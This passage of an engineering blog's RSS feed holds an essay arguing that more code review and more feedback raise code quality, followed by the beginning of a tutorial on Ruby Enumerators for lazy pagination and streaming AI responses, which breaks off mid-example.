&lt;p&gt;If you want to read more of Shane Tully&apos;s excellent work, &lt;a href=&quot;https://shanetully.com/2023/11/debugging-ruby-the-hard-way/&quot;&gt;check out his blog&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[More feedback! Quantity becomes quality]]></title><description><![CDATA[In David Bayles and Ted Orland's book, Art & Fear, there's a captivating story
that has always stuck with me. This is a story that…]]></description><link>https://www.aha.io/engineering/articles/more-feedback-quantity-become-quality</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/more-feedback-quantity-become-quality</guid><dc:creator><![CDATA[Kyle d’Oliveira]]></dc:creator><pubDate>Thu, 16 Nov 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In David Bayles and Ted Orland&apos;s book, &lt;em&gt;Art &amp;#x26; Fear&lt;/em&gt;, there&apos;s a captivating story
that has always stuck with me. This is a story that highlights a timeless argument:
quantity versus quality. It goes like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;[A] ceramics teacher announced on opening day that he was dividing the class into two groups. All those on the left side of the studio would be graded solely on the quantity of work they produced, while those on the right would be graded solely on its quality...&lt;/p&gt;
&lt;p&gt;Well, came grading time and a curious fact emerged: the works of highest quality were all produced by the group being graded for quantity. It seems that while the &apos;quantity&apos; group was busily churning out piles of work — and learning from their mistakes — the &apos;quality&apos; group had sat theorizing about perfection, and in the end had little more to show for their efforts than grandiose theories and a pile of dead clay.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This story isn&apos;t just about art. It&apos;s a lesson that extends to the realm of engineering, where quality and quantity are often perceived as opposing forces. Initially in my career, I thought achieving high-quality results required a significant investment of time. However, over time I discovered that the ceramics teacher&apos;s story can be applied to software engineering — a field that, much like art, is subjective and reliant on experience to distinguish &quot;good code&quot; from the rest.&lt;/p&gt;
&lt;p&gt;Good code is more than just functional — it&apos;s maintainable, extensible, secure, and reliable. The best way to learn how to write such code is by either experiencing the consequences of poor code quality or learning from the experiences of others who have already learned those lessons.&lt;/p&gt;
&lt;p&gt;In a previous role as a developer manager overseeing over 25 engineers, I witnessed a pattern that further reinforced the notion that quality and quantity are not necessarily at odds. Some engineers focused on perfection, aiming for flawless code. It&apos;s often said that &quot;perfect is the enemy of good,&quot; and indeed, those engineers produced fewer lines of code but strived to maintain a high quality standard. On the flip side, some engineers were obsessed with producing and reviewing as much code as possible, quickly working through task lists. Those &quot;quantity&quot; engineers initially faced more bugs and required additional oversight, especially while getting started in their careers.&lt;/p&gt;
&lt;p&gt;At first glance, it seemed like a classic case of quality versus quantity. However, what sets the two groups apart is the volume of feedback. What the ceramics teacher discovered in the story is the same story I saw with these engineers. The &quot;quantity&quot; group received abundant feedback because they produced and reviewed more work, ultimately improving their code quality over time much faster than the &quot;quality&quot; group.&lt;/p&gt;
&lt;p&gt;It&apos;s not a battle of quality against quantity. Effectively, in software engineering, the more feedback you can receive, either through self-reflection or from others, the more you can learn and improve the quality of your work. There are also many ways to generate feedback. Here are some suggestions:&lt;/p&gt;
&lt;h2&gt;Do code reviews&lt;/h2&gt;
&lt;p&gt;Most people are used to addressing feedback on their own code. But when someone makes a comment, it is worth thinking about why the reviewer made that comment. It could be that the reviewer is leaning into some experience they can share. However, it is also important to get feedback on your ability to review code as well. Having two reviewers is an amazing tactic most teams can do. Not only does this provide additional feedback for the code writer, but it also gives an opportunity for the reviewers to get feedback from each other. Someone unfamiliar with an area of code might miss something, but when they can see someone else comment on it, it becomes an opportunity for both the reviewer and the writer to learn something.&lt;/p&gt;
&lt;h2&gt;Monitor deployed code&lt;/h2&gt;
&lt;p&gt;When your code goes out, how do you know it is working? And working well? It is always worth monitoring your features and looking for bugs and performance regressions, or just looking at adoption metrics. What you notice while monitoring can help you, the author, understand what slipped through so you can learn and improve. You can then share these learnings with your team and your code reviewers. Thinking about how you will observe whether things are working correctly or not ahead of time can also have a big impact on the quality of the code you write.&lt;/p&gt;
&lt;h2&gt;Debug unfamiliar areas of the code&lt;/h2&gt;
&lt;p&gt;In my experience, it is common for people unfamiliar with certain areas of the code to do what they can to avoid them altogether. Unfortunately, the end result of that tactic is the code area will stay unknown. Bugs, either discovered by your customers or error tracking software, can help guide you in where to explore. By jumping into unfamiliar areas of code, even if you do not &quot;solve&quot; the bug, you can learn new areas of the code, tricks for getting up to speed quickly, and debugging techniques. You might even identify where developer tooling is lacking. By stepping into an area that is a little outside of your comfort zone, your comfort zone will expand.&lt;/p&gt;
&lt;h2&gt;Create more pull requests&lt;/h2&gt;
&lt;p&gt;Pull requests don&apos;t need to happen at the end once all development is completed on a feature. Get your work in front of people fast. It is much easier to pivot early on than in the later stages. You can break a feature into small sections and ask for feedback on each piece, or get some eyes on your code early with a demo or code walkthrough. To go with the previous point, tackling bugs in unfamiliar areas of code is another way to start getting incremental feedback. And if you haven&apos;t gotten feedback on your work in a few days, then you should try to go gather some soon.&lt;/p&gt;
&lt;p&gt;Keep in mind — the more complex a pull request is, the harder it is to review. The reviewer will need to maintain a lot of context which can lead to a shallow depth of the review. Or, it will take a long time to complete. The easier you make the pull request to review, the better feedback you are going to receive the easier it will be to find bugs.&lt;/p&gt;
&lt;p&gt;Grouping pull requests on a single type of change is one way you can break large pull requests apart. One way to do this might be to have a single pull request that refactors a complex piece of code without modifying or changing the existing behavior, then a follow-up pull request with just the new changes. Another way might be to write up a pull request that is just a model and a database migration, then another for the controller and unit tests, followed by another with the UI and integration tests. Remember that pull requests can be stacked on top of each other. And just because it is a self contained piece doesn&apos;t mean that it is going to be deployed.&lt;/p&gt;
&lt;h2&gt;Share your mistakes&lt;/h2&gt;
&lt;p&gt;This isn&apos;t about blame or keeping a record of who messed up. By sharing your mistakes, your team might be able to identify and avoid those same mistakes too. Explaining what went wrong or what things you missed also helps to solidify your internal learning. Based on the lesson, you could share it at various levels — with the people who reviewed your code, your team, or the entire department.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Aiming for feedback quantity instead of quality might be a big shift. But in reality, you are still focusing on quality.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The goal is to use feedback, whether you give or receive it, to vastly increase your skills and the pace of your learning. Regardless of what you are working on, think about how and when you can get feedback on it. It is worth discussing with your team all of the various ways you can do this.&lt;/p&gt;
&lt;p&gt;Engineering is a team effort that requires cooperation from everyone. But you can lead by example here. If you give solid feedback to others, you can supercharge your team&apos;s focus on quality. This can become a virtuous cycle where a supercharged teammate will provide great feedback to you or others in return. Everyone wins and everyone gets better.&lt;/p&gt;
&lt;p&gt;At the end of the day, quality and quantity are desirable goals and they are both achievable. Churn out lots of code, learn from mistakes and the experiences of others, and you&apos;ll have high quality code too. That way, you can all have much more to show than grandiose theories and a pile of dead code.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Ruby enumerables considered helpful]]></title><description><![CDATA[Ruby's Enumerable methods help you
make powerful code simple — by filtering, transforming, and processing data like
the best engineers do…]]></description><link>https://www.aha.io/engineering/articles/ruby-enumerables-considered-helpful</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/ruby-enumerables-considered-helpful</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Fri, 29 Sep 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ruby&apos;s &lt;a href=&quot;https://ruby-doc.org/3.2.2/Enumerable.html&quot;&gt;Enumerable methods&lt;/a&gt; help you
make powerful code simple — by filtering, transforming, and processing data like
the best engineers do. These methods are available on Arrays, Hashes, and many
(many) other objects, and similarly-named methods are available on even more. If
you don&apos;t already know these methods well, then the most valuable time you can
spend in Ruby is on mastering them.&lt;/p&gt;
&lt;p&gt;But not all data can take advantage of Enumerable methods, at least not directly.
What if you don&apos;t have an Array or Hash? Can you still use the Enumerable methods?
With all the time you spent becoming an Enumerable master, wouldn&apos;t it be nice
if you could treat more things like Enumerables — like lists of items across
multiple pages, or even items that slowly stream in from an API over time?&lt;/p&gt;
&lt;p&gt;Ruby&apos;s Enumerator class is exactly what you need to do this. It&apos;s not the easiest
thing to understand, but a few examples can show you how to use it in your own applications.&lt;/p&gt;
&lt;h2&gt;Automatic pagination&lt;/h2&gt;
&lt;p&gt;Sometimes your data &lt;em&gt;seems&lt;/em&gt; like a natural fit for an Enumerable, but it doesn&apos;t
&lt;em&gt;quite&lt;/em&gt; work. What if you&apos;re using an API that paginates? The best you can get
is an Enumerable per page, which makes it annoying to work with multiple pages
at once. You could fetch all the pages and then flatten the list of lists… But
now you&apos;re always fetching all the data (even if you don&apos;t need it) and you have
to wait for every page to load before you can do anything.&lt;/p&gt;
&lt;p&gt;Instead, wrap your API calls in an Enumerator:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; paginated_list&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(initial_url, params &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  url &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; initial_url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |yielder|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This returns an Enumerator, an object that can be used like an Enumerable, responding
to all of the core Enumerable methods you know and love: &lt;code&gt;map&lt;/code&gt;, &lt;code&gt;filter&lt;/code&gt;, &lt;code&gt;first&lt;/code&gt;, and all the rest.&lt;/p&gt;
&lt;p&gt;When you call a method like &lt;code&gt;map&lt;/code&gt; on that Enumerator, that method will ask for
the next object as it needs it. When asked, the body of the Enumerator yields
the next object using the yielder:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; paginated_list&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(initial_url, params &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {})&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  url &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; initial_url&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  Enumerator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |yielder|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    loop&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; get(url, params)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      body &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; response.body&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # Yield each result to the caller&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      body[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;results&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].each { |result| yielder.yield(result) }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      break&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; last_page?(body)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      # get ready to fetch the next page&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      url &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; next_page_url(body)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This Enumerator makes the request for the first page. Then, any time a record is
needed from the first page, the Enumerator yields it to the caller. When you run
out of records on the first page, the Enumerator fetches the next page and so on
until you run out. If you don&apos;t need the next page, it won&apos;t fetch it.&lt;/p&gt;
&lt;p&gt;How does this look for the caller?&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;paginated_list(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;/things&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;).filter { |t| t[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;selected&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;true&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; }.sort_by { |t| t[&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;].downcase }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Easy — you don&apos;t even have to care that the data spans multiple pages across multiple
API requests. From the caller&apos;s point of view, it&apos;s just an ordinary list.&lt;/p&gt;
&lt;h2&gt;Save a block for later&lt;/h2&gt;
&lt;p&gt;While working on the &lt;a href=&quot;https://www.aha.io/support/suite/suite/collaboration/use-ai&quot;&gt;Aha! AI writing assistant&lt;/a&gt;,
we had two different ways of working with AI responses. For development and testing,
the response should be returned all at once because it is easier to work with. For a user,
though, it feels better for the response to arrive incrementally — streaming in so you can
know early on if you&apos;re getting the result you wanted.&lt;/p&gt;
&lt;p&gt;Everything else was exactly the same, except for how the response was dealt with.
In one case, a string was returned. In another, bits of a string were yielded to
the caller as they came in:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;client &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Client&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;stream:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; stream?)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Burst response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; client.get(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;query:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;context:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:context&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] ...)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;render &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;json:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;text:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; response }&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Stream response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# all kinds of streaming setup work&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;client.get(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;query:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;context:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:context&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;] ...) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |chunk|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # stream chunk to browser&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# all kinds of streaming teardown work, stream error handling, etc.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is fine. But the API method calls look exactly the same, except one takes
a block and the other doesn&apos;t. And for streaming, you have extra work to do before
and after the method call.&lt;/p&gt;
&lt;p&gt;It&apos;s hard to untangle this. You could pass around lambdas, &lt;code&gt;get&lt;/code&gt; could ignore a
lambda parameter in stream mode, you could wrap the setup and teardown in its own block:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;client &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Client&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;stream:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; stream?)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; streaming_setup(stream?) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  client.get(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;query:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;context:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:context&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;do&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; |chunk|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    # stream chunk to browser&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;render &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;json:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;text:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; response } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;unless&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; stream?&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Maybe this will work. Again, it&apos;s &lt;em&gt;fine&lt;/em&gt;. But this is Ruby, so we can do better than fine.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://ruby-doc.org/3.2.2/Object.html#method-i-to_enum&quot;&gt;Object#to_enum&lt;/a&gt; is a method
available on any object. You give it a method name and arguments and it returns an
Enumerator. Whenever that Enumerator is enumerated, it will call the method you
gave it, on the object you called it on, with the arguments you gave it, and it
will pass along anything your method yields as the next value of the Enumerator.&lt;/p&gt;
&lt;p&gt;At first, it&apos;s hard to see how this is useful. In practice, this means you can
capture the arguments a method was called with, but defer needing the block the
method yields to until the part that processes your data needs it.&lt;/p&gt;
&lt;p&gt;Using &lt;code&gt;to_enum&lt;/code&gt;, the caller can now look like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; show&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  client &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Client&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;stream:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; stream?)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  response &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; client.get(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;query:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:query&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;], &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;context:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; params[&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:context&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; stream?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    stream_response response&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    render &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;json:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;text:&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; response }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; stream_response&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(response)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # all kinds of setup work&lt;/span&gt;&lt;/span&gt;
